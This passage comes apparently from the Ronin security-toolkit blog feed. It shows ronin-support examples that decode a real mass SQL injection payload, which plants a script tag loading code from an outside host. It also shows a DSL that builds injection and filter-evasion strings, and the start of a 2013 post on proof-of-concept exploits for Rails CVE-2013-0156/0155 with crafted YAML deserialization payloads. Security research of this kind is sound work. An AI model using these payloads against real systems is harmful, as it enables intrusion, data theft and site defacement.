2046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F72&amp;quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql_decode&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;DECLARE @T varchar(255),@C varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype=&amp;#39;u&amp;#39; and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM  Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec(&amp;#39;update [&amp;#39;+@T+&amp;#39;] set [&amp;#39;+@C+&amp;#39;]=&amp;#39;&amp;#39;\&amp;quot;&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;script src=\&amp;quot;http://www0.douhunqn.cn/csrss/w.js\&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!--&amp;#39;&amp;#39;+[&amp;#39;+@C+&amp;#39;] where &amp;#39;+@C+&amp;#39; not like &amp;#39;&amp;#39;%\&amp;quot;&amp;gt;&amp;lt;/title&amp;gt;&amp;lt;script src=\&amp;quot;http://www0.douhunqn.cn/csrss/w.js\&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&amp;lt;!--&amp;#39;&amp;#39;&amp;#39;)FETCH NEXT FROM  Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;2f6574632f706173737764&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql_decode&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;/etc/passwd&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Additionally, [String#sql_unescape] has been added:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;&amp;#39;O&amp;#39;&amp;#39;Brian&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sql_unescape&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;O&amp;#39;Brian&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Ronin::SQL&lt;/h3&gt;

&lt;p&gt;The Ruby-&gt;SQL encoder has been refactored into into a fully-fledged &lt;a href=&quot;https://github.com/rails/arel#readme&quot;&gt;ARel&lt;/a&gt;-like
Ruby DSL:&lt;/p&gt;

&lt;p&gt;Injecting a &lt;code&gt;1=1&lt;/code&gt; test into a String value:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:escape&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1&amp;#39; OR &amp;#39;1&amp;#39;=&amp;#39;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Columns:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;and&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;admin&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1 AND admin=1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Clauses:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;or&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;limit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1 AND admin=1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Statements:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1 UNION SELECT (1,2,3,4,id) FROM users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Filter evasion:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;Ronin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:SQL&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Injection&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;users&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sqli&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;to_sql&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:space&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;/**/&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# 1/**/UNION/**/SELECT/**/(1,2,3,4,id)/**/FROM/**/users&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



</content>
  </entry>
  
  <entry>
    <title>Rails PoC exploits for CVE-2013-0156 and CVE-2013-0155</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2013/01/09/rails-pocs.html" />
    <updated>Wed Jan 09 00:00:00 -0800 2013</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2013/01/09/rails-pocs.html</id>
    <content type="html">&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; Exploits are out, update Rails!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/4499017&quot;&gt;rails_dos.rb&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/4499030&quot;&gt;rails_jsonq.rb&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/4499032&quot;&gt;rails_sqli.rb&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://gist.github.com/4499206&quot;&gt;rails_rce.rb&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;On January 8th, Aaron Patterson announced &lt;a href=&quot;https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/61bkgvnSGTQ&quot;&gt;CVE-2013-0156&lt;/a&gt;,
multiple vulnerabilities in parameter parsing in Action Pack allowing attackers
to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Bypass Authentication systems&lt;/li&gt;
&lt;li&gt;Inject Arbitrary SQL&lt;/li&gt;
&lt;li&gt;Perform a Denial of Service (DoS)&lt;/li&gt;
&lt;li&gt;Execute arbitrary code&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;However, rumors of this vulnerability had been circulating on twitter as far
back as &lt;a href=&quot;https://groups.google.com/forum/#!topic/rubyonrails-security/DCNTNp_qjFM&quot;&gt;CVE-2012-5664&lt;/a&gt;. Others also claimed to have &lt;a href=&quot;www.reddit.com/r/netsec/comments/167c11/serious_vulnerability_in_ruby_on_rails_allowing/c7teov4&quot;&gt;working PoC exploits&lt;/a&gt;,
but would not release them for fear of the PoCs being used maliciously.
Naturally, I was interested in investigating the vulnerability.&lt;/p&gt;

&lt;p&gt;It all started when &lt;a href=&quot;http://phenoelit.org/blog/archives/2012/12/21/let_me_github_that_for_you/index.html&quot;&gt;Phenoelit&lt;/a&gt; discovered a vulnerability
in how authentication plugins (such as AuthLogic) pass parameters to
&lt;code&gt;find_by_*&lt;/code&gt; methods. &lt;a href=&quot;https://groups.google.com/forum/#!topic/rubyonrails-security/DCNTNp_qjFM&quot;&gt;CVE-2012-5664&lt;/a&gt; was then posted, stirring Twitter into
a frenzy. However, the possibility of exploitation was limited, as detailed
on the &lt;a href=&quot;http://blog.phusion.nl/2013/01/03/rails-sql-injection-vulnerability-hold-your-horses-here-are-the-facts/&quot;&gt;Phusion Corporate Blog&lt;/a&gt;. Thus the hunt began.&lt;/p&gt;

&lt;h2&gt;Intro to params in Rails&lt;/h2&gt;

&lt;p&gt;Params are first parsed by &lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/actionpack/lib/action_dispatch/middleware/params_parser.rb&quot;&gt;ActionDispatch::Middleware::ParamsParser&lt;/a&gt;, which detects the MIME type of the request and parses the body
appropriately. By default &lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/actionpack/lib/action_dispatch/middleware/params_parser.rb&quot;&gt;ParamsParser&lt;/a&gt; only supports parsing XML and JSON
requests. After the request body is parsed, the resulting data is coerced
into a &lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/activesupport/lib/active_support/hash_with_indifferent_access.rb&quot;&gt;HashWithIndifferentAccess&lt;/a&gt;, ensuring all Hash keys are Strings.&lt;/p&gt;

&lt;p&gt;Next, &lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/actionpack/lib/action_dispatch/http/parameters.rb&quot;&gt;ActionDispatch::Http::Parameters&lt;/a&gt; takes the parsed request
parameters and merges them with the path parameters. Note that the path
parameters are first merged into the request parameters, to ensure that the
request parameters cannot override the path parameters. Also note that when a
Hash is merged into a &lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/activesupport/lib/active_support/hash_with_indifferent_access.rb&quot;&gt;HashWithIndifferentAccess&lt;/a&gt;, all keys are converted to
Strings and all sub-Hashes converted to Indifferent ones. This ensures that
&lt;code&gt;params&lt;/code&gt; contains no Symbol keys and cannot be passed to &lt;code&gt;find_by_*&lt;/code&gt; methods;
despite what &lt;a href=&quot;https://groups.google.com/forum/#!topic/rubyonrails-security/DCNTNp_qjFM&quot;&gt;CVE-2012-5664&lt;/a&gt; claims.&lt;/p&gt;

&lt;h2&gt;XML Deserialization&lt;/h2&gt;

&lt;p&gt;The Rails XML module (&lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/activesupport/lib/active_support/xml_mini.rb#L67&quot;&gt;ActiveSupport::XmlMini&lt;/a&gt;) supports deserializing
various primitives such as Integer, Symbol, String, Date, Time, etc. However,
&lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/activesupport/lib/active_support/xml_mini.rb#L67&quot;&gt;XmlMini&lt;/a&gt; also supports deserializing embedded YAML blobs. One might wonder,
why this would be a good idea? Apparently, to support &lt;a href=&quot;http://web.archive.org/web/20071218105822/http://dev.rubyonrails.org/ticket/7502&quot;&gt;serializing/deserializing
ActiveRecord models that contain serialized YAML&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;What can we do with this? Deserialize arbitrary Objects for Classes already
loaded by the Rails application.&lt;/p&gt;

&lt;h2&gt;YAML&lt;/h2&gt;

&lt;p&gt;When &lt;a href=&quot;https://github.com/tenderlove/psych/blob/v3.2.10/lib/psych/visitors/to_ruby.rb&quot;&gt;Psych&lt;/a&gt; parses &lt;code&gt;!ruby/object:MyClass&lt;/code&gt; objects, it will call
&lt;code&gt;MyClass.allocate&lt;/code&gt; which returns a blank uninitialized instances of &lt;code&gt;MyClass&lt;/code&gt;.
Next, Psych will call &lt;code&gt;instance_variable_set&lt;/code&gt; to set various instance variables.&lt;/p&gt;

&lt;p&gt;Interestingly, &lt;a href=&quot;https://github.com/tenderlove/psych/blob/v3.2.10/lib/psych/visitors/to_ruby.rb&quot;&gt;Psych&lt;/a&gt; allows for arbitrary classes to be specified with
&lt;code&gt;!ruby/string&lt;/code&gt; and &lt;code&gt;!ruby/hash&lt;/code&gt; declarations:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;yaml&quot;&gt;&lt;span class=&quot;kt&quot;&gt;!ruby&lt;/span&gt;&lt;span class=&quot;l-Scalar-Plain&quot;&gt;/hash:MyHashLikeClass&lt;/span&gt;
&lt;span class=&quot;l-Scalar-Plain&quot;&gt;key1&lt;/span&gt;&lt;span class=&quot;p-Indicator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;l-Scalar-Plain&quot;&gt;value1&lt;/span&gt;
&lt;span class=&quot;l-Scalar-Plain&quot;&gt;key2&lt;/span&gt;&lt;span class=&quot;p-Indicator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;l-Scalar-Plain&quot;&gt;value2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;When &lt;a href=&quot;https://github.com/tenderlove/psych/blob/v3.2.10/lib/psych/visitors/to_ruby.rb&quot;&gt;Psych&lt;/a&gt; parses &lt;code&gt;!ruby/hash:Class&lt;/code&gt;, it will actually call &lt;code&gt;#initialize&lt;/code&gt;
and then call &lt;code&gt;#[]=&lt;/code&gt; to populate the objects fields. This feature was
&lt;a href=&quot;https://github.com/ruby/ruby/commit/8cd2bf072180a9f733ac06dbaa96f071ca8e8303&quot;&gt;added&lt;/a&gt;
sometime after Ruby 1.9.2.&lt;/p&gt;

&lt;h2&gt;PoCs&lt;/h2&gt;

&lt;p&gt;The Proof of Concept (PoC) exploits rely on abusing the &lt;a href=&quot;https://github.com/tenderlove/psych/blob/v3.2.10/lib/psych/visitors/to_ruby.rb&quot;&gt;Psych&lt;/a&gt; YAML parser
and how it allows specifying arbitrary classes for &lt;code&gt;!ruby/string&lt;/code&gt; and
&lt;code&gt;!ruby/hash&lt;/code&gt; YAML objects.&lt;/p&gt;

&lt;p&gt;All of the following PoCs require the &lt;a href=&quot;https://rubygems.org/gems/ronin-support&quot;&gt;ronin-support&lt;/a&gt; gem and licensed under
&lt;a href=&quot;http://gplv3.fsf.org/&quot;&gt;GPLv3&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;Symbol DoS&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://gist.github.com/4499017&quot;&gt;rails_dos.rb&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Denial of Service vulnerability relies on the fact that even in Ruby 1.9
Symbols are not Garbage Collected. Even if &lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/activesupport/lib/active_support/hash_with_indifferent_access.rb&quot;&gt;HashWithIndifferentAccess&lt;/a&gt;
converts the Symbols to Strings, the Symbols will remain in memory.&lt;/p&gt;

&lt;p&gt;All we have to do is repeatedly send requests containing unique Symbols.
To accomplish this we use the &lt;a href=&quot;/docs/ronin-support/String.html#generate-class_method&quot;&gt;String.generate&lt;/a&gt; method to generate
alphabetic Symbol names of varying length.&lt;/p&gt;

&lt;h3&gt;Unsafe Query Generation via JSON&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://gist.github.com/4499030&quot;&gt;rails_jsonq.rb&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/rails/rails/blob/v3.2.10/actionpack/lib/action_dispatch/middleware/params_parser.rb&quot;&gt;ActionDispatch::Middleware::ParamsParser&lt;/a&gt; also supports parsing
JSON params from requests. However, it does not normalize the parsed params.
Values such as &lt;code&gt;[nil]&lt;/code&gt; or &lt;code&gt;[&quot;&quot;]&lt;/code&gt; are not normalized to &lt;code&gt;nil&lt;/code&gt; and &lt;code&gt;&quot;&quot;&lt;/code&gt;.
This allows us to bypass &lt;code&gt;#nil?&lt;/code&gt; or &lt;code&gt;#empty?&lt;/code&gt; checks, such as described
in &lt;a href=&quot;https://groups.google.com/forum/?fromgroups=#!topic/rubyonrails-security/t1WFuuQyavI&quot;&gt;CVE-2013-0155&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;k&quot;&gt;unless&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:token&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nil?&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;User&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;find_by_token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;params&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:token&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;reset_password!&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;SQL Injection&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://gist.github.com/4499032&quot;&gt;rails_sqli.rb&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Knowing that we cannot simply craft a XML+YAML request containing the &lt;code&gt;:select&lt;/code&gt;
option with some raw SQL, we have to look for an alternate code-path.
As the &lt;a href=&quot;http://www.insinuator.net/2013/01/rails-yaml/&quot;&gt;Insinuator&lt;/a&gt; blog post points out, &lt;code&gt;find_by_*&lt;/code&gt; methods can actually
accept &lt;code&gt;Arel::Node&lt;/code&gt; objects! Potentially, we can inject any of the
&lt;a href=&quot;https://github.com/rails/arel/tree/v3.2.10/lib/arel/nodes&quot;&gt;Arel::Nodes&lt;/a&gt;. The most promising of these is &lt;a href=&quot;https://github.com/rails/arel/blob/v3.2.10/lib/arel/nodes/sql_literal.rb&quot;&gt;Arel::Nodes::SqlLiteral&lt;/a&gt;.
Unfortunately, calling &lt;code&gt;Arel::Nodes::SqlLiteral#to_yaml&lt;/code&gt; does not work,
so we must hand craft specific YAML:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;yaml&quot;&gt;&lt;span class=&quot;nn&quot;&gt;---&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!ruby&lt;/span&gt;&lt;span class=&quot;l-Scalar-Plain&quot;&gt;/string:Arel::Nodes::SqlLiteral &amp;quot;SQL here&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Note that since &lt;a href=&quot;https://github.com/rails/arel/blob/v3.2.10/lib/arel/nodes/sql_literal.rb&quot;&gt;Arel::Nodes::SqlLiteral&lt;/a&gt; inherits from String,
&lt;code&gt;!ruby/object:Arel::Nodes::SqlLiteral&lt;/code&gt; actually deserializes to a plain String;
thus &lt;code&gt;!ruby/string&lt;/code&gt; is necessary.&lt;/p&gt;

&lt;p&gt;We could get creative and inject in an Abstract Syntax Tree (AST) of our
desired SQL:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;yaml&quot;&gt;&lt;span class=&quot;nn&quot;&gt;---&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!ruby&lt;/span&gt;&lt;span class=&quot;l-Scalar-Plain&quot;&gt;/object:Arel::Nodes::Or&lt;/span&gt;
&lt;span class=&quot;l-Scalar-Plain&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p-Indicator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;l-Scalar-Plain&quot;&gt;0&lt;/span&gt;
&lt;span class=&quot;l-Scalar-Plain&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p-Indicator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;!ruby&lt;/span&gt;&lt;span class=&quot;l-Scalar-Plain&quot;&gt;/object:Arel::Nodes::Equality&lt;/span&gt;
  &lt;span class=&quot;l-Scalar-Plain&quot;&gt;left&lt;/span&gt;&lt;span class=&quot;p-Indicator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;l-Scalar-Plain&quot;&gt;1&lt;/span&gt;
  &lt;span class=&quot;l-Scalar-Plain&quot;&gt;right&lt;/span&gt;&lt;span class=&quot;p-Indicator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;l-Scalar-Plain&quot;&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;Remote Code Execution&lt;/h3&gt;

